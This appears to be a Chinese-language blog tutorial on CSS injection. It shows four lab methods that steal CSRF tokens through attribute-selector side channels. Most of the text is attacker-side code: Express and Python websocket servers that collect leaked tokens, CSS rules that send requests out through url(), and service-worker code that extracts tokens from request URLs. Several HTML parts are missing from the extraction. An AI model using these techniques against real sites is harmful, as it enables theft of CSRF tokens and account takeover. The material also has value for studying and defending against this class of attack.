CSS注入的四种实现方式

目录

CSS注入窃取标签属性数据

简单的一个实验:

解决hidden

方法1:js+node.js实现

侧信道攻击

方法2:对比波兰研究院的方案

使用兄弟选择器

方法3:js+websocket实现CSS注入

实验实现:

方法4:window.open结合serviceworker

实验验证:


CSS注入的四种实现方式_第1张图片

现代浏览器都已经不允许在CSS中执行JavaScript了,以前的CSS注入可以利用JavaScript协议在url()、expression()中执行JavaScript代码从而实现XSS。

但是目前CSS注入在窃取数据方面仍然非常有用的,下面分别来分析一下CSS注入 窃取标签属性数据CSS中可以使用数据选择器,根据不同的属性选择标签。

例:


hello world

数据选择器还可以匹配一些特征,比如xxx开头或者xxx结尾等。

CSS注入的四种实现方式_第2张图片

CSS注入窃取标签属性数据

利用上面的性质我们可以看出来窃取页面标签属性中的数据,比如下面当csrfToken以某个字母开头时,可以通过url()通知攻击者,从而窃取csrfToken的第一位的值:

简单的一个实验:

在CSSinject目录下面新建

(1)css.html:



​

    
    
    
    CSS
    
    


​

​;

​

这里首先引入了css.css样式 ,然后有一个输入,名为csrf,值为abcdef

(2)css.css:

input[name="csrf"][value^="a"] {
    background: url(https://www.baidu.com);
}

这里就是通过标签选择器,选择到了name=csrf并且value是以a开头的输入,给它 设置一个背景,背景的URL是www.baidu.com

(3)测试

CSS注入的四种实现方式_第3张图片

这里查看很明显成功的访问了

解决hidden

当然还有个问题,当标签type=hidden时浏览器是不允许我们设置background的,这样就无法触发

url()请求服务器解决方法之一是利用~CSS的兄弟选择器(必须是同一个父母),选择为后续所

有兄弟节点设置background。

方法1:js+node.js实现

侧信道攻击

(1)css.html




​

    
    
    
    侧信道攻击
​

    
   
   

(2)css.css 

input[name="csrf"][value^="0"] {
    background: url(https://www.baidu.com);
}

(3)css.php



>
​

(4)css.js

首先需要一个服务端,用来存储生成的md5值

var express = require('express');
var app = express();
var path = require('path');
var token = "";
​
//采用CORS实现跨域,允许被攻击页面向服务器发送请求
app.all("*", function (req, res, next) {
    //设置允许跨域的域名,*代表允许任意域名跨域
    res.header("Access-Control-Allow-Origin", "*");
    res.header("Access-Control-Allow-Methods", 'PUT,POST,GET,DELETE,OPTIONS');
    res.header("Access-Control-Allow-Credentials", true);
    next()
})
​
//处理receive页面请求 --- 接收参数token
app.get('/receive/:token', function (req, res) {
    token = req.params.token;
    console.log(token)
    res.send('ok');
});
​
//return页面请求,向客户端返回刚获取到的token
app.get('/return', function (req, res) {
    res.send(token);
});
​
//返回恶意页面
app.get('/css.html', function (req, res) {
    res.sendFile(path.join(__dirname, 'css.html'));
})
​
//配置本地服务器
var server = app.listen(8083, function () {
    var host = server.address().address
    var port = server.address().port
    console.log("Example app listening at http://%s:%s", host, port)
})

(5)测试

首先模拟服务端使用node运行css.js


然后在浏览器中输入www.security.com/css.html

CSS注入的四种实现方式_第4张图片

可以看到成功的爆破出了服务端生成的随机Token

那再看看服务端:
CSS注入的四种实现方式_第5张图片

服务端这里也将Token的值逐步的打印了出来

结论:使用iframe将受害页面包含进来,可以对其进行CSS注入。

获取token,token存储位置:服务端创建变量token转发给客户端,并且将token数值打印输出到服务端。

方法2:对比波兰研究院的方案

(1)css.html





(2)css.js

const express = require('express');
const app = express();
// Serwer ExprssJS domyślnie dodaje nagłówek ETag,
// ale nam nie jest to potrzebne, więc wyłączamy.
app.disable('etag');
​
const PORT = 3000;
​
// Obsługa zapytania przyjmującego token jako połączenie
// zwrotne.
app.get('/token/:token', (req, res) => {
    const { token } = req.params;
​
    // W odpowiedzi po prostu ustawiane jest ciasteczko o nazwie
    // token i tej samej wartości, która została przekazana w URL-u
    res.cookie('token', token);
    console.log(token);
    res.send('');
});
​
app.get('/css.js', (req, res) => {
    res.sendFile('js.cookie.js', {
        root: './node_modules/js-cookie/src/'
    });
});
​
app.get('/css.html', (req, res) => {
    res.sendFile('index.html', {
        root: '.'
    });
});
​
app.listen(PORT, () => {
    console.log(`Listening on ${PORT}...`);
})
​

(3)css.css

input[name="csrf"][value^="0"] {
    background: url(https://www.baidu.com);
}

(4)css.php



>
​

(5)安装js-cookie库

在VScode中创建一个名为package.json文件,并且将以下内容进行写入

{
    "name": "css-attack-1",
    "version": "1.0.0",
    "description": "",
    "main": "index.js",
    "dependencies": {
        "express": "^4.15.5",
        "js-cookie": "^2.1.4"
    },
    "devDependencies": {},
    "author": "",
    "license": "ISC"
}

进入CMD命令行,移动到对应目录下:npm install

(6)这时候使用node监控 3000端口

(7)监控完成后,这时候就可以尝试访问www.security.com/css.html

CSS注入的四种实现方式_第6张图片

可以看到,成功的爆出了Token的值

服务端:

CSS注入的四种实现方式_第7张图片

注:如果访问不成功可以尝试换一个浏览器再次尝试访问

使用兄弟选择器

这里可以尝试将php中的input中修改类型为hidden,然后再尝试访问就会发现访问失败

> //修改后
> //原

再次访问:

CSS注入的四种实现方式_第8张图片

可以看到,这个现在没有了输入框。因此无法爆出Token值

解决办法:使用兄弟元素

css.php文件

> //原
> //增加的

css.html文件

CSS注入的四种实现方式_第9张图片

测试:

CSS注入的四种实现方式_第10张图片

可以看到,成功的拿到了Token

方法3:js+websocket实现CSS注入

CSS注入的四种实现方式_第11张图片

实验实现:

(1)websocket服务端

使用paycharm软件

需要进行WebSocketServer导包:

pip install SimpleWebSocketServer

我这里因为之前已经导入过了,所以没有下载 

(2)服务端配置

from http.server import HTTPServer, BaseHTTPRequestHandler
from threading import Thread
from socketserver import ThreadingMixIn
from SimpleWebSocketServer import SimpleWebSocketServer, WebSocket
PORT_HTTP = 8008
PORT_WS = 8000

class RequestHandler(BaseHTTPRequestHandler, WebSocket):
    def do_GET(self):
        """Respond to a GET request."""
        print("http GET request")
        self.send_response(200)
        self.end_headers()
        ws.sendMessage(self.path)
        return

class ThreadedHTTPServer(ThreadingMixIn, HTTPServer):
    """Handle requests in a separate thread."""

class SimpleEcho(WebSocket):

    def handleMessage(self):
        # echo message back to client
        print(self.address, 'new msg')
        #self.sendMessage(self.data)

    def handleConnected(self):
        print(self.address, 'connected, opening http server')
        global ws
        ws = self
        httpd = ThreadedHTTPServer(("", PORT_HTTP), RequestHandler)
        server_thread = Thread(target=httpd.serve_forever)
        server_thread.daemon = True
        server_thread.start()
        print('http is on 8000,and ws is on 8008:')

    def handleClose(self):
        print(self.address, 'closed')

server = SimpleWebSocketServer('', PORT_WS, SimpleEcho)
server.serveforever()

(3)js_websocket.html 



​

    
    
    
    Document

​

    
   

(4)js_websocket.php

>

(5)测试

首先开启pytcharm,运行服务器

CSS注入的四种实现方式_第12张图片

然后浏览器尝试访问127.0.0.1/CSSinject/js_websocket.html

浏览器返回:

CSS注入的四种实现方式_第13张图片

pytcharm返回:

CSS注入的四种实现方式_第14张图片

可以看到成功的拿到了Token

方法4:window.open结合serviceworker

github上下载软件包:

GitHub - dxa4481/cssInjection: Stealing CSRF tokens with CSS injection (without iFrames)

实验验证:

(1)attacker.html


​
click somewhere to begin attack


The CSRF token is:

(2)mockingTheBackend.js

navigator.serviceWorker.addEventListener("message", receiveMessage);
function receiveMessage(event) {
    console.log("got message");
    localStorage.setItem("csrfToken", event.data);
}

(3)sw.js 

self.addEventListener('fetch', function (event) { //监听fetch事件就是
    var urlLogged = event.request.url; //监听到请求
    if (urlLogged.indexOf("/log.php/") >= 0 && urlLogged.indexOf("victim") == -1) {
        //这里这里是否有log.php并且是否有请求页面
        var splitted = urlLogged.split("/log.php/");
        var csrfToken = splitted[splitted.length - 1];
        console.log(csrfToken);
        self.clients.matchAll().then(all => all.map(client => client.postMessage(csrfToken))); //
    }
});

(4)victim.html


   

(5)测试

未点击前:

CSS注入的四种实现方式_第15张图片

点击后:

CSS注入的四种实现方式_第16张图片

你可能感兴趣的:(前端,安全,css,前端,web安全,安全,注入,学习,开发语言)